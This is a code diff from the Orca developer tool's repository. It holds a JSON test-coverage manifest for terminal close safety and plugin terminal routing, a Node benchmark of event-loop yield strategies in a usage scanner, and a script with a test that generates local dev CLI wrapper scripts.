"invariant": "Reconnect, replay, or lifecycle observations from a viewer that negotiated explicit close intent must never kill a live PTY. A capable reasonless close must keep and republish; a legacy paired viewer must retain current-main behavior because its intentional close and cleanup echo are wire-identical. Lifecycle close requires the exact observed publication, terminal, environment, and authoritative liveness, never signals a process, and leaves renderer-owned or partial-split retirement to its owner. Legacy daemon hello and warm reattachment remain non-destructive.",
|
||||
"oracle": "Start isolated v25 and v26 daemon generations with one capable-viewer PTY and one legacy-viewer PTY per generation in four target worktrees plus an unaddressed control PTY in a fifth worktree. Route them through the production desktop scanner, runtime, RPC dispatcher, renderer-close relay, and daemon router. First issue sequential reasonless closes from an authenticated capable connection and require refusal, snapshot republish, zero shutdown calls, exact process survival, and post-close I/O. Then issue the byte-identical requests without the negotiated capability and require current-main behavior: two ordered immediate shutdowns, session-killed events, and exact root/descendant death, while capable and control PTYs survive. An observer lists all targets before, between, and after while issuing zero closes. Unit contracts also require in-process reasonless refusal, legacy runtime/mobile compatibility, explicit user closes, encrypted client-auth advertisement, and old-server lifecycle calls never to fall back.",
|
||||
"commands": [
|
||||
"pnpm exec vitest run --config config/vitest.config.ts src/main/runtime/orca-runtime.test.ts src/main/runtime/rpc/methods/session-tabs.test.ts src/main/runtime/rpc/methods/session-tabs-schemas.test.ts src/renderer/src/runtime/web-runtime-session.test.ts src/renderer/src/runtime/web-session-close-intent.test.ts src/renderer/src/runtime/web-session-tabs-sync.test.ts src/renderer/src/components/terminal/terminal-tab-actions.test.ts src/renderer/src/components/terminal/terminal-close-incarnation.test.ts src/renderer/src/components/terminal-pane/terminal-parked-tab-watchers.test.ts",
|
||||
"pnpm exec playwright test tests/e2e/daemon-generation-reconnect-safety.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1"
|
||||
"pnpm exec vitest run --config config/vitest.config.ts src/main/runtime/orca-runtime.test.ts src/main/runtime/remote-runtime-request-connection.integration.test.ts src/main/runtime/rpc/methods/session-tabs.test.ts src/main/runtime/rpc/methods/session-tabs-schemas.test.ts src/main/runtime/rpc/e2ee-channel.test.ts src/main/runtime/rpc/e2ee-channel-v2.test.ts src/main/runtime/rpc/mobile-socket-wiring.test.ts src/main/runtime/rpc/runtime-client-capabilities.test.ts src/shared/remote-runtime-client.test.ts src/shared/remote-runtime-request-connection.test.ts src/shared/remote-runtime-shared-control-connection.test.ts src/cli/runtime/websocket-transport.test.ts src/renderer/src/web/web-runtime-client.test.ts src/renderer/src/runtime/web-runtime-session.test.ts src/renderer/src/runtime/web-session-close-intent.test.ts src/renderer/src/runtime/web-session-tabs-sync.test.ts src/renderer/src/components/terminal/terminal-tab-actions.test.ts src/renderer/src/components/terminal/terminal-close-incarnation.test.ts src/renderer/src/components/terminal-pane/terminal-parked-tab-watchers.test.ts",
|
||||
"pnpm exec playwright test tests/e2e/daemon-generation-reconnect-safety.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1",
|
||||
"pnpm exec playwright test tests/e2e/daemon-generation-legacy-close-safety.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1"
|
||||
],
|
||||
"testFiles": [
|
||||
"src/main/runtime/orca-runtime.test.ts",
|
||||
"src/main/runtime/remote-runtime-request-connection.integration.test.ts",
|
||||
"src/main/runtime/rpc/methods/session-tabs.test.ts",
|
||||
"src/main/runtime/rpc/methods/session-tabs-schemas.test.ts",
|
||||
"src/main/runtime/rpc/e2ee-channel.test.ts",
|
||||
"src/main/runtime/rpc/e2ee-channel-v2.test.ts",
|
||||
"src/main/runtime/rpc/mobile-socket-wiring.test.ts",
|
||||
"src/main/runtime/rpc/runtime-client-capabilities.test.ts",
|
||||
"src/shared/remote-runtime-client.test.ts",
|
||||
"src/shared/remote-runtime-request-connection.test.ts",
|
||||
"src/shared/remote-runtime-shared-control-connection.test.ts",
|
||||
"src/cli/runtime/websocket-transport.test.ts",
|
||||
"src/renderer/src/web/web-runtime-client.test.ts",
|
||||
"src/renderer/src/runtime/web-runtime-session.test.ts",
|
||||
"src/renderer/src/runtime/web-session-close-intent.test.ts",
|
||||
"src/renderer/src/runtime/web-session-tabs-sync.test.ts",
|
||||
"src/renderer/src/components/terminal/terminal-tab-actions.test.ts",
|
||||
"src/renderer/src/components/terminal/terminal-close-incarnation.test.ts",
|
||||
"src/renderer/src/components/terminal-pane/terminal-parked-tab-watchers.test.ts",
|
||||
"tests/e2e/daemon-generation-reconnect-safety.spec.ts"
|
||||
"tests/e2e/daemon-generation-reconnect-safety.spec.ts",
|
||||
"tests/e2e/daemon-generation-legacy-close-safety.spec.ts"
|
||||
],
|
||||
"assertionRefs": [
|
||||
{
|
||||
"file": "src/main/runtime/remote-runtime-request-connection.integration.test.ts",
|
||||
"assertions": [
|
||||
"the real encrypted WebSocket handshake binds close-intent capability through authenticated socket state and RPC context to reasonless-close refusal"
|
||||
]
|
||||
},
|
||||
{
|
||||
"file": "tests/e2e/daemon-generation-legacy-close-safety.spec.ts",
|
||||
"assertions": [
|
||||
"one identified capable viewer and one legacy viewer issue byte-identical sequential reasonless closes while a third viewer lists every target before, between, and after but issues zero closes",
|
||||
"capable v25/v26 PTY root/descendant incarnations in separate worktrees survive, answer post-close input, and produce zero shutdown calls and zero daemon session-killed events",
|
||||
"legacy v25/v26 PTY root/descendant incarnations die through ordered immediate shutdown calls with one daemon session-killed event each, matching current-main behavior",
|
||||
"an unaddressed fifth-worktree PTY root and descendant survive with zero kill events, excluding global fanout",
|
||||
"the JSON reconstruction records request order, negotiated capabilities, viewer connection, worktree/tab/PTY ids, daemon PID/protocol, call site, and exact before/after process liveness"
|
||||
]
|
||||
},
|
||||
{
|
||||
"file": "tests/e2e/daemon-generation-reconnect-safety.spec.ts",
|
||||
"assertions": [
|
||||
@@ -1079,12 +1211,71 @@
|
||||
"shutdown-dispose-failed drops named-pipe authority within the deadline and exact fixture cleanup leaves no process tree"
|
||||
]
|
||||
},
|
||||
{
|
||||
"file": "src/main/runtime/rpc/mobile-socket-wiring.test.ts",
|
||||
"assertions": [
|
||||
"the optional client capability is captured from legacy encrypted authentication and bound to the authenticated runtime-scoped socket identity"
|
||||
]
|
||||
},
|
||||
{
|
||||
"file": "src/main/runtime/rpc/e2ee-channel.test.ts",
|
||||
"assertions": [
|
||||
"runtime capabilities are accepted only from encrypted authentication metadata, not the unauthenticated hello"
|
||||
]
|
||||
},
|
||||
{
|
||||
"file": "src/main/runtime/rpc/e2ee-channel-v2.test.ts",
|
||||
"assertions": [
|
||||
"mobile E2EE v2 continues to reject additive runtime capability metadata"
|
||||
]
|
||||
},
|
||||
{
|
||||
"file": "src/main/runtime/rpc/runtime-client-capabilities.test.ts",
|
||||
"assertions": [
|
||||
"the authenticated capability parser accepts only bounded string arrays and rejects malformed or oversized input"
|
||||
]
|
||||
},
|
||||
{
|
||||
"file": "src/shared/remote-runtime-client.test.ts",
|
||||
"assertions": [
|
||||
"one-shot and subscription runtime clients remain compatible while sending encrypted client authentication"
|
||||
]
|
||||
},
|
||||
{
|
||||
"file": "src/shared/remote-runtime-request-connection.test.ts",
|
||||
"assertions": [
|
||||
"the cached paired-desktop request connection advertises close-intent support in encrypted authentication while reusing one socket"
|
||||
]
|
||||
},
|
||||
{
|
||||
"file": "src/shared/remote-runtime-shared-control-connection.test.ts",
|
||||
"assertions": [
|
||||
"the reconnecting shared-control client advertises close-intent support in encrypted authentication"
|
||||
]
|
||||
},
|
||||
{
|
||||
"file": "src/cli/runtime/websocket-transport.test.ts",
|
||||
"assertions": [
|
||||
"updated paired runtime clients advertise close-intent support in encrypted auth fields ignored by legacy servers"
|
||||
]
|
||||
},
|
||||
{
|
||||
"file": "src/renderer/src/web/web-runtime-client.test.ts",
|
||||
"assertions": [
|
||||
"the browser paired-runtime client advertises close-intent support inside encrypted authentication"
|
||||
]
|
||||
},
|
||||
{
|
||||
"file": "src/main/runtime/orca-runtime.test.ts",
|
||||
"assertions": [
|
||||
"live, unknown, stale, missing-intent, non-owner, and inventory-proven but not yet pane-bound lifecycle closes invoke neither PTY kill nor renderer close",
|
||||
"dead whole-headless retirement removes stale state without signalling a retained PTY id",
|
||||
"explicit and authenticated legacy user closes remain destructive"
|
||||
"dead whole-headless retirement removes stale state without signalling a retained PTY id"
|
||||
]
|
||||
},
|
||||
{
|
||||
"file": "src/main/runtime/rpc/methods/session-tabs.test.ts",
|
||||
"assertions": [
|
||||
"in-process and capable-runtime reasonless closes refuse while legacy runtime/mobile and explicit current user closes retain current-main destructive semantics"
|
||||
]
|
||||
},
|
||||
{
|
||||
@@ -1108,6 +1299,15 @@
|
||||
}
|
||||
],
|
||||
"evidenceRuns": [
|
||||
{
|
||||
"date": "2026-07-27",
|
||||
"runner": "ci",
|
||||
"platform": "linux",
|
||||
"command": "pnpm exec playwright test tests/e2e/daemon-generation-legacy-close-safety.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1",
|
||||
"result": "passed",
|
||||
"durationSeconds": 5.1,
|
||||
"summary": "Current-head capability-gated oracle passed in E2E run https://github.com/stablyai/orca/actions/runs/30250731941/job/89928386794: capable v25/v26 roots and descendants survived with snapshot republish and post-close I/O, byte-identical legacy closes retained current-main shutdown behavior, and the unrelated fifth-worktree control survived."
|
||||
},
|
||||
{
|
||||
"date": "2026-07-21",
|
||||
"runner": "local",
|
||||
@@ -1120,7 +1320,7 @@
|
||||
],
|
||||
"runtimeBudget": {
|
||||
"p95Seconds": 180,
|
||||
"scope": "isolated native-Windows five-generation production discovery/reconnect/relaunch plus bounded disposal failure and fresh E2E build"
|
||||
"scope": "isolated native-Windows generation reconnect plus two-generation mixed-version close adjudication and fresh E2E build"
|
||||
},
|
||||
"flakeHistory": {
|
||||
"status": "unknown",
|
||||
@@ -1128,11 +1328,11 @@
|
||||
},
|
||||
"redGreenEvidence": {
|
||||
"status": "complete",
|
||||
"evidence": "The pre-fix native run kept daemon/client processes alive but emitted repeated real session-killed events in v21/v22/v23 and terminated every stale-mirror root and descendant. The fixed production-scanner run preserves every exact v21/v22/v23/v24/v25 process incarnation with zero kill events."
|
||||
"evidence": "Current main and PR #10013 route both reasonless viewer sequences to immediate shutdown, while the prior global-refusal candidate incorrectly preserves the legacy sequence. The capability-gated candidate passed the combined GitHub oracle: capable v25/v26 PTYs survive and answer input, legacy PTYs retain current-main shutdown behavior, and the unrelated control survives. Existing Windows red/green evidence separately covers evidence-bearing lifecycle closes."
|
||||
},
|
||||
"performanceBudget": {
|
||||
"required": true,
|
||||
"evidence": "Production adds no polling, subprocess, PowerShell/CIM, or process-per-session work. Concurrent lifecycle closes share one bounded host controller inventory, scan only addressed parent leaves, and reuse the environment/worktree client snapshot deduper. Test-only Windows inventory is capped at 5 seconds and 8 MiB per query; all waits and cleanup are bounded."
|
||||
"evidence": "Production adds one bounded client-capability parse during the authenticated connection handshake and one constant-time membership branch per close. It adds no polling, subprocess, provider listing, retry, timer, or process-per-session work. Refusal reuses the existing single-worktree snapshot republish. Test-only inventory and cleanup are bounded."
|
||||
},
|
||||
"promotionCriteria": [
|
||||
"Collect 100 clean native-Windows runs over 14 days with zero unexplained flakes.",
|
||||
@@ -1140,8 +1340,9 @@
|
||||
"Add live Linux SSH-relay and Windows WSL reconnect artifacts without weakening keep-on-unknown."
|
||||
],
|
||||
"knownGaps": [
|
||||
"The strongest proof is Electron-as-Node over native Windows, not a packaged UI-driven update journey.",
|
||||
"Live macOS/Linux adoption and Linux SSH relay are not exercised because Docker is unavailable; Windows WSL reconnect is not exercised because WSL is not installed.",
|
||||
"The strongest proof is Electron-as-Node over real daemon PTYs, not a packaged headed Orca host paired to a separate old client; that is the primary live E2E still required.",
|
||||
"Headless orca serve parity, live Linux, Linux SSH relay, and Windows WSL reconnect are not exercised; Docker SSH would cover only the SSH provider and cannot substitute for paired Orca-server evidence.",
|
||||
"A topology containing any pre-contract paired desktop viewer remains vulnerable to that viewer's stale reasonless close storm; preserving its intentional-close behavior makes this unavoidable until the viewer upgrades.",
|
||||
"Cross-profile daemon inventory and generation handoff/retirement remain the separate #9138/#9229 design.",
|
||||
"A dead split leaf stays with its authoritative owner rather than being remotely pruned."
|
||||
],
|
||||
@@ -6570,6 +6771,112 @@
|
||||
"Windows native runtime watches bypass this child path; WSL reservation/release is deterministic-contract tested but not live fault-injected, and SSH registration ownership is not live-relay fault-injected."
|
||||
],
|
||||
"demotionRule": "Demote or quarantine if the fault harness flakes without a product or harness bug, if healthy operation exceeds one runtime watcher child, if total physical operation exceeds eight children including retiring generations, if quarantine children outlive their roots or repeat after fusing, if event delivery becomes unbounded, or if metadata/stat work returns to the serve process."
|
||||
},
|
||||
{
|
||||
"id": "terminal-input.plugin-explicit-worktree-routing",
|
||||
"title": "Plugin terminal input stays inside the freshly resolved worktree",
|
||||
"maturity": "experimental",
|
||||
"protection": "partial",
|
||||
"owner": "plugin-platform",
|
||||
"layer": "main-relay-contract",
|
||||
"surfaces": [
|
||||
"plugin host API terminal input",
|
||||
"active worktree resolution",
|
||||
"provider terminal inventory",
|
||||
"relay capability enforcement"
|
||||
],
|
||||
"platforms": [
|
||||
"macos",
|
||||
"linux",
|
||||
"windows"
|
||||
],
|
||||
"providers": [
|
||||
"local",
|
||||
"daemon",
|
||||
"ssh",
|
||||
"wsl",
|
||||
"remote-runtime",
|
||||
"mobile-relay"
|
||||
],
|
||||
"coveredPlatforms": [
|
||||
"macos"
|
||||
],
|
||||
"coveredProviders": [
|
||||
"local",
|
||||
"ssh"
|
||||
],
|
||||
"coverageNotes": "Deterministic macOS contract evidence covers opaque local- and SSH-shaped terminal ids, one bounded worktree listing, mismatch rejection, and the main/relay host-call adapter matrix. It does not launch a live PTY or provision a relay-hosted plugin.",
|
||||
"motivatingLinks": [
|
||||
"https://github.com/stablyai/orca/pull/8549"
|
||||
],
|
||||
"invariant": "terminal.sendText accepts only an explicit provider-owned terminal id present in one bounded inventory of the worktree resolved immediately before the send; an absent id causes zero send calls, and relay callers cannot supply their own capability grants or transport classification.",
|
||||
"oracle": "Resolve the active worktree once, list that worktree with the v0 terminal cap once, and assert zero sendTerminal calls for a mismatched opaque id versus exactly one send for matching local- and SSH-shaped ids; then run the same permission and schema cases through desktop-main and registered relay panel/worker adapters and compare error codes.",
|
||||
"commands": [
|
||||
"pnpm exec vitest run --config config/vitest.config.ts src/main/plugins/plugin-host-methods.test.ts src/main/plugins/plugin-host-conformance.test.ts"
|
||||
],
|
||||
"testFiles": [
|
||||
"src/main/plugins/plugin-host-methods.test.ts",
|
||||
"src/main/plugins/plugin-host-conformance.test.ts"
|
||||
],
|
||||
"assertionRefs": [
|
||||
{
|
||||
"file": "src/main/plugins/plugin-host-methods.test.ts",
|
||||
"assertions": [
|
||||
"a terminal outside the freshly resolved worktree performs one capped list and zero sends",
|
||||
"matching local- and SSH-shaped opaque ids each perform one capped list and one exact send",
|
||||
"workspace.readContext drops provider paths, path-bearing internal worktree ids, and terminal titles while capping its terminal projection"
|
||||
]
|
||||
},
|
||||
{
|
||||
"file": "src/main/plugins/plugin-host-conformance.test.ts",
|
||||
"assertions": [
|
||||
"all 13 v0 methods succeed with the required consented capability through desktop-main and relay adapters",
|
||||
"missing consent, missing capability, unknown method, malformed params, panel-forbidden access, malformed results, and mutation-audit failure return identical codes",
|
||||
"malformed qualified keys, client-supplied grants, and client-supplied transport flags are rejected before host policy resolution"
|
||||
]
|
||||
}
|
||||
],
|
||||
"evidenceRuns": [
|
||||
{
|
||||
"date": "2026-07-10",
|
||||
"runner": "local",
|
||||
"platform": "macos",
|
||||
"command": "pnpm exec vitest run --config config/vitest.config.ts src/main/plugins/plugin-host-methods.test.ts src/main/plugins/plugin-host-conformance.test.ts",
|
||||
"result": "passed",
|
||||
"durationSeconds": 0.18,
|
||||
"summary": "2 files and 17 tests passed, covering the 13-method main/relay conformance matrix and exact terminal routing call counts."
|
||||
}
|
||||
],
|
||||
"runtimeBudget": {
|
||||
"p95Seconds": 10,
|
||||
"scope": "plugin host main/relay contract tests"
|
||||
},
|
||||
"flakeHistory": {
|
||||
"status": "unknown",
|
||||
"evidence": "The deterministic focused suite passed locally once and needs CI and soak history before promotion."
|
||||
},
|
||||
"redGreenEvidence": {
|
||||
"status": "partial",
|
||||
"evidence": "Exact mismatch/send counts and adapter error parity are asserted; intentional-break and saved CI evidence are still missing."
|
||||
},
|
||||
"performanceBudget": {
|
||||
"required": true,
|
||||
"evidence": "Each plugin send resolves once, performs exactly one list capped at 50 terminals, and performs at most one send. The path adds no polling, subprocesses, provider fanout, renderer work, or startup await."
|
||||
},
|
||||
"promotionCriteria": [
|
||||
"Run for at least 100 consecutive passes or 14 days across required CI platforms.",
|
||||
"Attach intentional-break evidence for the worktree membership check and relay transport binding.",
|
||||
"Exercise live local and SSH provider terminals, including mismatch rejection and successful input echo.",
|
||||
"Keep relay-hosted plugin provisioning behind a separate reviewed policy before replacing the fail-closed registration."
|
||||
],
|
||||
"knownGaps": [
|
||||
"Linux and Windows execution evidence is not recorded.",
|
||||
"Daemon, WSL, remote-runtime, and mobile-relay providers have no live input evidence.",
|
||||
"Local and SSH coverage is contract-level over opaque ids, not a live PTY input/echo run.",
|
||||
"The bounded 50-terminal inventory intentionally rejects a target not present in the capped result; scale behavior above that cap needs a targeted membership API before expansion.",
|
||||
"Relay-hosted plugin provisioning, consent persistence, workers, and audit services remain out of scope and the relay registration therefore denies every provisioned identity by default."
|
||||
],
|
||||
"demotionRule": "Keep experimental or demote to protection none if the suite flakes, permits a mismatched terminal send, performs more than one inventory list per call, accepts client-supplied grants, or relay and desktop error codes diverge."
|
||||
}
|
||||
]
|
||||
}
|
||||
|
||||
@@ -0,0 +1,190 @@
|
||||
#!/usr/bin/env node
|
||||
// Benchmark: the event-loop yield in the Claude usage scanner's batch loops.
|
||||
//
|
||||
// scanner.ts yielded with `setTimeout(resolve, 0)`, which Node clamps to ~1ms. The
|
||||
// loops yield once per FILE_SCAN_BATCH_SIZE files across two passes, so a machine with
|
||||
// thousands of transcripts spent seconds parked on timers doing no work. setImmediate
|
||||
// yields on the same tick's check phase with no clamp. The sibling scanner
|
||||
// (src/main/codex-usage/scanner.ts) already used setImmediate.
|
||||
//
|
||||
// The yield exists to keep the main process responsive during a scan, so this also
|
||||
// measures worst-case latency for a concurrent task -- a "faster" yield that starved
|
||||
// other work would be a regression, not a win.
|
||||
//
|
||||
// Run with: node config/scripts/claude-usage-yield-benchmark.mjs
|
||||
import { readFileSync } from 'node:fs'
|
||||
import { homedir } from 'node:os'
|
||||
import { join } from 'node:path'
|
||||
import { performance } from 'node:perf_hooks'
|
||||
import { readdirSync, statSync } from 'node:fs'
|
||||
|
||||
const REPO_ROOT = new URL('../..', import.meta.url)
|
||||
const ROUNDS = Number(process.env.ORCA_YIELD_BENCH_ROUNDS ?? '10')
|
||||
|
||||
// Why re-read the source: the claim is that the scanner yields once per batch across
|
||||
// two loops. If the batch size or the yield sites change, these numbers stop meaning
|
||||
// what the header says, so fail loudly instead of reporting a stale ratio.
|
||||
const SCANNER_SOURCE = readFileSync(new URL('src/main/claude-usage/scanner.ts', REPO_ROOT), 'utf8')
|
||||
const batchMatch = SCANNER_SOURCE.match(/const FILE_SCAN_BATCH_SIZE = (\d+)/)
|
||||
if (!batchMatch) {
|
||||
throw new Error('FILE_SCAN_BATCH_SIZE not found; this benchmark is stale')
|
||||
}
|
||||
const FILE_SCAN_BATCH_SIZE = Number(batchMatch[1])
|
||||
const YIELD_SITES = (SCANNER_SOURCE.match(/await yieldToEventLoop\(\)/g) ?? []).length
|
||||
if (YIELD_SITES === 0) {
|
||||
throw new Error('no yieldToEventLoop call sites found; this benchmark is stale')
|
||||
}
|
||||
// Match the call, not the word: a comment mentioning setImmediate would satisfy a
|
||||
// bare substring check even after the yield reverted to setTimeout.
|
||||
if (!/setImmediate\(resolve\)/.test(SCANNER_SOURCE)) {
|
||||
throw new Error('scanner no longer yields with setImmediate; this benchmark is stale')
|
||||
}
|
||||
|
||||
// Real transcript count drives the yield count, so read it rather than assume one.
|
||||
function countClaudeTranscripts() {
|
||||
const root = join(homedir(), '.claude', 'projects')
|
||||
let count = 0
|
||||
const stack = [root]
|
||||
while (stack.length > 0) {
|
||||
const dir = stack.pop()
|
||||
let entries
|
||||
try {
|
||||
entries = readdirSync(dir, { withFileTypes: true })
|
||||
} catch {
|
||||
continue
|
||||
}
|
||||
for (const entry of entries) {
|
||||
if (entry.isDirectory()) {
|
||||
stack.push(join(dir, entry.name))
|
||||
} else if (entry.name.endsWith('.jsonl')) {
|
||||
count += 1
|
||||
}
|
||||
}
|
||||
}
|
||||
return count
|
||||
}
|
||||
|
||||
const transcriptCount = (() => {
|
||||
try {
|
||||
statSync(join(homedir(), '.claude', 'projects'))
|
||||
return countClaudeTranscripts()
|
||||
} catch {
|
||||
return 0
|
||||
}
|
||||
})()
|
||||
|
||||
const FALLBACK_TRANSCRIPTS = 7500
|
||||
const effectiveTranscripts = transcriptCount > 0 ? transcriptCount : FALLBACK_TRANSCRIPTS
|
||||
// Each pass walks ceil(files / batch) batches and yields after every batch except the
|
||||
// last, so a pass yields batchesPerPass - 1 times.
|
||||
const BATCHES_PER_PASS = Math.max(1, Math.ceil(effectiveTranscripts / FILE_SCAN_BATCH_SIZE))
|
||||
const YIELDS_PER_SCAN = Math.max(1, (BATCHES_PER_PASS - 1) * YIELD_SITES)
|
||||
|
||||
const yieldWithTimeout = () => new Promise((resolve) => setTimeout(resolve, 0))
|
||||
const yieldWithImmediate = () => new Promise((resolve) => setImmediate(resolve))
|
||||
|
||||
// Mirrors the scanner's shape: a little synchronous work per batch, then a yield.
|
||||
async function runBatchLoop(doYield, batches) {
|
||||
let sink = 0
|
||||
for (let batch = 0; batch < batches; batch += 1) {
|
||||
for (let file = 0; file < FILE_SCAN_BATCH_SIZE; file += 1) {
|
||||
sink += (batch * 31 + file) % 7
|
||||
}
|
||||
if (batch + 1 < batches) {
|
||||
await doYield()
|
||||
}
|
||||
}
|
||||
return sink
|
||||
}
|
||||
|
||||
async function timeArm(doYield, batches) {
|
||||
const start = performance.now()
|
||||
const sink = await runBatchLoop(doYield, batches)
|
||||
const elapsed = performance.now() - start
|
||||
if (sink === -1) {
|
||||
throw new Error('unreachable')
|
||||
}
|
||||
return elapsed
|
||||
}
|
||||
|
||||
function median(samples) {
|
||||
const sorted = [...samples].sort((a, b) => a - b)
|
||||
const mid = sorted.length / 2
|
||||
return (sorted[mid - 1] + sorted[mid]) / 2
|
||||
}
|
||||
|
||||
// Arms alternate which one leads so within-round drift cannot favour either.
|
||||
async function measure(batches) {
|
||||
await runBatchLoop(yieldWithTimeout, Math.min(batches, 50))
|
||||
await runBatchLoop(yieldWithImmediate, Math.min(batches, 50))
|
||||
const timeoutSamples = []
|
||||
const immediateSamples = []
|
||||
for (let round = 0; round < ROUNDS; round += 1) {
|
||||
if (round % 2 === 0) {
|
||||
timeoutSamples.push(await timeArm(yieldWithTimeout, batches))
|
||||
immediateSamples.push(await timeArm(yieldWithImmediate, batches))
|
||||
} else {
|
||||
immediateSamples.push(await timeArm(yieldWithImmediate, batches))
|
||||
timeoutSamples.push(await timeArm(yieldWithTimeout, batches))
|
||||
}
|
||||
}
|
||||
return { timeoutMs: median(timeoutSamples), immediateMs: median(immediateSamples) }
|
||||
}
|
||||
|
||||
// The yield exists for responsiveness, so measure what a concurrent task actually sees.
|
||||
async function measureConcurrentLatency(doYield, batches) {
|
||||
let worstLatencyMs = 0
|
||||
let stop = false
|
||||
const probe = (async () => {
|
||||
while (!stop) {
|
||||
const tick = performance.now()
|
||||
await new Promise((resolve) => setImmediate(resolve))
|
||||
worstLatencyMs = Math.max(worstLatencyMs, performance.now() - tick)
|
||||
}
|
||||
})()
|
||||
const start = performance.now()
|
||||
await runBatchLoop(doYield, batches)
|
||||
const scanMs = performance.now() - start
|
||||
stop = true
|
||||
await probe
|
||||
return { scanMs, worstLatencyMs }
|
||||
}
|
||||
|
||||
const pad = (value, width) => String(value).padStart(width)
|
||||
console.log('Claude usage scanner event-loop yield. Lower is better.')
|
||||
console.log(
|
||||
`transcripts=${transcriptCount > 0 ? transcriptCount : `${FALLBACK_TRANSCRIPTS} (none found; synthetic)`} batch=${FILE_SCAN_BATCH_SIZE} sites=${YIELD_SITES} -> ~${YIELDS_PER_SCAN} yields/scan`
|
||||
)
|
||||
console.log(
|
||||
`${pad('yields', 8)} ${pad('setTimeout(0)', 14)} ${pad('setImmediate', 13)} ${pad('speedup', 9)} ${pad('saved', 11)}`
|
||||
)
|
||||
|
||||
for (const yields of [100, 500, YIELDS_PER_SCAN]) {
|
||||
// runBatchLoop yields batches - 1 times, so ask for one more batch than yields.
|
||||
const batches = yields + 1
|
||||
const { timeoutMs, immediateMs } = await measure(batches)
|
||||
// Why report the absolute saving too: the setImmediate arm is small enough that
|
||||
// background load moves the RATIO a lot while the removed wall time barely budges.
|
||||
console.log(
|
||||
`${pad(yields, 8)} ${pad(`${timeoutMs.toFixed(1)} ms`, 14)} ${pad(`${immediateMs.toFixed(1)} ms`, 13)} ${pad(`${(timeoutMs / immediateMs).toFixed(1)}x`, 9)} ${pad(`${(timeoutMs - immediateMs).toFixed(0)} ms`, 11)}`
|
||||
)
|
||||
}
|
||||
|
||||
console.log('\nResponsiveness (the reason the yield exists) at a full scan:')
|
||||
const timeoutLatency = await measureConcurrentLatency(yieldWithTimeout, YIELDS_PER_SCAN + 1)
|
||||
const immediateLatency = await measureConcurrentLatency(yieldWithImmediate, YIELDS_PER_SCAN + 1)
|
||||
console.log(
|
||||
` setTimeout(0): scan ${timeoutLatency.scanMs.toFixed(0)} ms, worst concurrent wait ${timeoutLatency.worstLatencyMs.toFixed(2)} ms`
|
||||
)
|
||||
console.log(
|
||||
` setImmediate : scan ${immediateLatency.scanMs.toFixed(0)} ms, worst concurrent wait ${immediateLatency.worstLatencyMs.toFixed(2)} ms`
|
||||
)
|
||||
if (immediateLatency.worstLatencyMs > timeoutLatency.worstLatencyMs) {
|
||||
console.log(
|
||||
'\n NOTE: setImmediate showed a WORSE concurrent wait here. The yield exists for\n responsiveness, so that would be a regression even though the scan is faster.'
|
||||
)
|
||||
}
|
||||
|
||||
console.log(
|
||||
'\nRead the SAVED column, not the ratio. The setImmediate arm is small enough that\nbackground load swings the ratio (32x-81x observed across runs on a loaded machine)\nwhile the removed wall time stays at ~4.2-5.1 s. The saving is wall-clock the main\nprocess spent parked on timer clamps, not CPU work removed. It is paid on every\nUsage-pane scan and every forced automation rescan.'
|
||||
)
|
||||
@@ -0,0 +1,40 @@
|
||||
import { chmodSync, mkdirSync, writeFileSync } from 'node:fs'
|
||||
import path from 'node:path'
|
||||
|
||||
function escapeWindowsBatchValue(value) {
|
||||
// Why: cmd.exe expands %NAME% even inside quotes, so literal path percent signs must be doubled.
|
||||
return value.replaceAll('%', '%%')
|
||||
}
|
||||
|
||||
export function prepareDevCliTerminalWrappers({
|
||||
repoRoot,
|
||||
userDataPath,
|
||||
electronExecutable,
|
||||
platform = process.platform
|
||||
}) {
|
||||
const binDir = path.join(repoRoot, 'out', 'bin')
|
||||
const userDataBinDir = path.join(userDataPath, 'cli', 'bin')
|
||||
const cliPath = path.join(repoRoot, 'out', 'cli', 'index.js')
|
||||
mkdirSync(binDir, { recursive: true })
|
||||
mkdirSync(userDataBinDir, { recursive: true })
|
||||
|
||||
if (platform === 'win32') {
|
||||
const wrapperContent = `@echo off\r\nset "ORCA_USER_DATA_PATH=${escapeWindowsBatchValue(userDataPath)}"\r\nset "ORCA_DEV_CLI_INVOCATION=1"\r\nset "ORCA_APP_EXECUTABLE=${escapeWindowsBatchValue(electronExecutable)}"\r\nset "ORCA_APP_EXECUTABLE_NEEDS_APP_ROOT=1"\r\nnode "${escapeWindowsBatchValue(cliPath)}" %*\r\n`
|
||||
for (const targetDir of [binDir, userDataBinDir]) {
|
||||
for (const commandName of ['orca-dev.cmd', 'orca.cmd']) {
|
||||
writeFileSync(path.join(targetDir, commandName), wrapperContent, 'utf8')
|
||||
}
|
||||
}
|
||||
} else {
|
||||
const wrapperContent = `#!/usr/bin/env bash\nexport ORCA_USER_DATA_PATH=${JSON.stringify(userDataPath)}\nexport ORCA_DEV_CLI_INVOCATION=1\nexport ORCA_APP_EXECUTABLE=${JSON.stringify(electronExecutable)}\nexport ORCA_APP_EXECUTABLE_NEEDS_APP_ROOT=1\nexec node ${JSON.stringify(cliPath)} "$@"\n`
|
||||
for (const targetDir of [binDir, userDataBinDir]) {
|
||||
for (const commandName of ['orca-dev', 'orca']) {
|
||||
const wrapperPath = path.join(targetDir, commandName)
|
||||
writeFileSync(wrapperPath, wrapperContent, 'utf8')
|
||||
chmodSync(wrapperPath, 0o755)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return { binDir, userDataBinDir }
|
||||
}
|
||||
@@ -0,0 +1,70 @@
|
||||
import { mkdtempSync, readFileSync } from 'node:fs'
|
||||
import { tmpdir } from 'node:os'
|
||||
import path from 'node:path'
|
||||
import { describe, expect, it } from 'vitest'
|
||||
import { prepareDevCliTerminalWrappers } from './dev-cli-terminal-wrapper.mjs'
|
||||
|
||||
describe('dev CLI terminal wrappers', () => {
|
||||
it('writes profile-scoped Windows wrappers for worker terminals', () => {
|
||||
const root = mkdtempSync(path.join(tmpdir(), 'orca-dev-terminal-wrapper-'))
|
||||
const userDataPath = path.join(root, 'profile')
|
||||
prepareDevCliTerminalWrappers({
|
||||
repoRoot: root,
|
||||
userDataPath,
|
||||
electronExecutable: path.join(root, 'electron.exe'),
|
||||
platform: 'win32'
|
||||
})
|
||||
|
||||
const wrapper = readFileSync(path.join(userDataPath, 'cli', 'bin', 'orca-dev.cmd'), 'utf8')
|
||||
expect(wrapper).toContain(`set "ORCA_USER_DATA_PATH=${userDataPath}"`)
|
||||
